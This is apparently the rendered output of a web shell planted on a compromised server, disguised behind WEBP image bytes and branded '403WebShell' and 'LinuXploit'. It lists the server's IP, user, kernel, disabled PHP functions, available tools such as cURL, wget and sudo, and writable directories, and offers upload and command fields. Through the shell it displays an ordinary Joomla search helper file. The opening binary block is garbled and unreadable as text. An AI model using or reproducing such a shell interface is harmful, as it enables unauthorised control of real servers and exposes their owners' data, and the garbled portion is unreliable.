....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 195.3.193.33  /  Your IP : 216.73.216.125
Web Server : Apache
System : Linux server3 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : web032 ( 1035)
PHP Version : 7.3.33
Disable Function : show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, disk_total_space, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/web032/htdocs/cms/administrator/components/com_search/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/web032/htdocs/cms/administrator/components/com_search/helpers/search.php
<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * Search component helper.
 *
 * @since  1.5
 */
class SearchHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function addSubmenu($vName)
	{
		// Not required.
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject
	 *
	 * @deprecated  3.2  Use JHelperContent::getActions() instead.
	 */
	public static function getActions()
	{
		// Log usage of deprecated function.
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions.
		return JHelperContent::getActions('com_search');
	}

	/**
	 * Sanitise search word.
	 *
	 * @param   string  &$searchword   Search word to be sanitised.
	 * @param   string  $searchphrase  Either 'all', 'any' or 'exact'.
	 *
	 * @return  boolean  True if search word needs to be sanitised.
	 */
	public static function santiseSearchWord(&$searchword, $searchphrase)
	{
		$ignored = false;

		$lang          = JFactory::getLanguage();
		$tag           = $lang->getTag();
		$search_ignore = $lang->getIgnoredSearchWords();

		// Deprecated in 1.6 use $lang->getIgnoredSearchWords instead.
		$ignoreFile = JLanguageHelper::getLanguagePath() . '/' . $tag . '/' . $tag . '.ignore.php';

		if (file_exists($ignoreFile))
		{
			include $ignoreFile;
		}

		// Check for words to ignore.
		$aterms = explode(' ', StringHelper::strtolower($searchword));

		// First case is single ignored word.
		if (count($aterms) == 1 && in_array(StringHelper::strtolower($searchword), $search_ignore))
		{
			$ignored = true;
		}

		// Filter out search terms that are too small.
		$lower_limit = $lang->getLowerLimitSearchWord();

		foreach ($aterms as $aterm)
		{
			if (StringHelper::strlen($aterm) < $lower_limit)
			{
				$search_ignore[] = $aterm;
			}
		}

		// Next is to remove ignored words from type 'all' or 'any' (not exact) searches with multiple words.
		if (count($aterms) > 1 && $searchphrase != 'exact')
		{
			$pruned     = array_diff($aterms, $search_ignore);
			$searchword = implode(' ', $pruned);
		}

		return $ignored;
	}

	/**
	 * Does search word need to be limited?
	 *
	 * @param   string  &$searchword  Search word to be checked.
	 *
	 * @return  boolean  True if search word should be limited; false otherwise.
	 *
	 * @since  1.5
	 */
	public static function limitSearchWord(&$searchword)
	{
		$restriction = false;

		$lang = JFactory::getLanguage();

		// Limit searchword to a maximum of characters.
		$upper_limit = $lang->getUpperLimitSearchWord();

		if (StringHelper::strlen($searchword) > $upper_limit)
		{
			$searchword  = StringHelper::substr($searchword, 0, $upper_limit - 1);
			$restriction = true;
		}

		// Searchword must contain a minimum of characters.
		if ($searchword && StringHelper::strlen($searchword) < $lang->getLowerLimitSearchWord())
		{
			$searchword  = '';
			$restriction = true;
		}

		return $restriction;
	}

	/**
	 * Logs a search term.
	 *
	 * @param   string  $searchTerm  The term being searched.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  4.0  Use \Joomla\CMS\Helper\SearchHelper::logSearch() instead.
	 */
	public static function logSearch($searchTerm)
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use \Joomla\CMS\Helper\SearchHelper::logSearch() instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		\Joomla\CMS\Helper\SearchHelper::logSearch($searchTerm, 'com_search');
	}

	/**
	 * Prepares results from search for display.
	 *
	 * @param   string  $text        The source string.
	 * @param   string  $searchword  The searchword to select around.
	 *
	 * @return  string
	 *
	 * @since   1.5
	 */
	public static function prepareSearchContent($text, $searchword)
	{
		// Strips tags won't remove the actual jscript.
		$text = preg_replace("'<script[^>]*>.*?</script>'si", '', $text);
		$text = preg_replace('/{.+?}/', '', $text);

		// $text = preg_replace('/<a\s+.*?href="([^"]+)"[^>]*>([^<]+)<\/a>/is','\2', $text);

		// Replace line breaking tags with whitespace.
		$text = preg_replace("'<(br[^/>]*?/|hr[^/>]*?/|/(div|h[1-6]|li|p|td))>'si", ' ', $text);

		return self::_smartSubstr(strip_tags($text), $searchword);
	}

	/**
	 * Checks an object for search terms (after stripping fields of HTML).
	 *
	 * @param   object  $object      The object to check.
	 * @param   string  $searchTerm  Search words to check for.
	 * @param   array   $fields      List of object variables to check against.
	 *
	 * @return  boolean True if searchTerm is in object, false otherwise.
	 */
	public static function checkNoHtml($object, $searchTerm, $fields)
	{
		$searchRegex = array(
			'#<script[^>]*>.*?</script>#si',
			'#<style[^>]*>.*?</style>#si',
			'#<!.*?(--|]])>#si',
			'#<[^>]*>#i'
		);
		$terms = explode(' ', $searchTerm);

		if (empty($fields))
		{
			return false;
		}

		foreach ($fields as $field)
		{
			if (!isset($object->$field))
			{
				continue;
			}

			$text = self::remove_accents($object->$field);

			foreach ($searchRegex as $regex)
			{
				$text = preg_replace($regex, '', $text);
			}

			foreach ($terms as $term)
			{
				$term = self::remove_accents($term);

				if (StringHelper::stristr($text, $term) !== false)
				{
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Transliterates given text to ASCII.
	 *
	 * @param   string  $str  String to remove accents from.
	 *
	 * @return  string
	 *
	 * @since   3.2
	 */
	public static function remove_accents($str)
	{
		$str = JLanguageTransliterate::utf8_latin_to_ascii($str);

		// @TODO: remove other prefixes as well?
		return preg_replace("/[\"'^]([a-z])/ui", '\1', $str);
	}

	/**
	 * Returns substring of characters around a searchword.
	 *
	 * @param   string   $text        The source string.
	 * @param   integer  $searchword  Number of chars to return.
	 *
	 * @return  string
	 *
	 * @since   1.5
	 */
	public static function _smartSubstr($text, $searchword)
	{
		$lang        = JFactory::getLanguage();
		$length      = $lang->getSearchDisplayedCharactersNumber();
		$ltext       = self::remove_accents($text);
		$textlen     = StringHelper::strlen($ltext);
		$lsearchword = StringHelper::strtolower(self::remove_accents($searchword));
		$wordfound   = false;
		$pos         = 0;
		$length      = $length > $textlen ? $textlen : $length;

		while ($wordfound === false && $pos + $length < $textlen)
		{
			if (($wordpos = @StringHelper::strpos($ltext, ' ', $pos + $length)) !== false)
			{
				$chunk_size = $wordpos - $pos;
			}
			else
			{
				$chunk_size = $length;
			}

			$chunk     = StringHelper::substr($ltext, $pos, $chunk_size);
			$wordfound = StringHelper::strpos(StringHelper::strtolower($chunk), $lsearchword);

			if ($wordfound === false)
			{
				$pos += $chunk_size + 1;
			}
		}

		if ($wordfound !== false)
		{
			// Check if original text is different length than searched text (changed by function self::remove_accents)
			// Displayed text only, adjust $chunk_size
			if ($pos === 0)
			{
				$iOriLen = StringHelper::strlen(StringHelper::substr($text, 0, $pos + $chunk_size));
				$iModLen = StringHelper::strlen(self::remove_accents(StringHelper::substr($text, 0, $pos + $chunk_size)));

				$chunk_size += $iOriLen - $iModLen;
			}
			else
			{
				$iOriSkippedLen = StringHelper::strlen(StringHelper::substr($text, 0, $pos));
				$iModSkippedLen = StringHelper::strlen(self::remove_accents(StringHelper::substr($text, 0, $pos)));

				// Adjust starting position $pos
				if ($iOriSkippedLen !== $iModSkippedLen)
				{
					$pos += $iOriSkippedLen - $iModSkippedLen;
				}

				$iOriReturnLen = StringHelper::strlen(StringHelper::substr($text, $pos, $chunk_size));
				$iModReturnLen = StringHelper::strlen(self::remove_accents(StringHelper::substr($text, $pos, $chunk_size)));

				if ($iOriReturnLen !== $iModReturnLen)
				{
					$chunk_size += $iOriReturnLen - $iModReturnLen;
				}
			}

			$sPre = $pos > 0 ? '...&#160;' : '';
			$sPost = ($pos + $chunk_size) >= StringHelper::strlen($text) ? '' : '&#160;...';

			return $sPre . StringHelper::substr($text, $pos, $chunk_size) . $sPost;
		}
		else
		{
			if (($mbtextlen = StringHelper::strlen($text)) < $length)
			{
				$length = $mbtextlen;
			}

			if (($wordpos = StringHelper::strpos($text, ' ', $length)) !== false)
			{
				return StringHelper::substr($text, 0, $wordpos) . '&#160;...';
			}
			else
			{
				return StringHelper::substr($text, 0, $length);
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit